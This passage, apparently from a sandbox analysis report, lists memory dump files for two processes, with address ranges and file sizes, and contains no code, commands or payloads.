-
memory/3952-137-0x000001D134110000-0x000001D134120000-memory.dmpFilesize
64KB
-
memory/3952-138-0x000001D134110000-0x000001D134120000-memory.dmpFilesize
64KB
-
memory/4080-120-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
-
memory/4080-96-0x0000020EABE60000-0x0000020EABE70000-memory.dmpFilesize
64KB
-
memory/4080-76-0x00007FFB08FF0000-0x00007FFB09AB1000-memory.dmpFilesize
10.8MB
-
memory/4080-114-0x0000020EABE60000-0x0000020EABE70000-memory.dmpFilesize
64KB
-
memory/4080-113-0x0000020EAC820000-0x0000020EAC878000-memory.dmpFilesize
352KB
-
memory/4080-115-0x0000020EABE60000-0x0000020EABE70000-memory.dmpFilesize
64KB
-
memory/4080-99-0x0000020EABE60000-0x0000020EABE70000-memory.dmpFilesize
64KB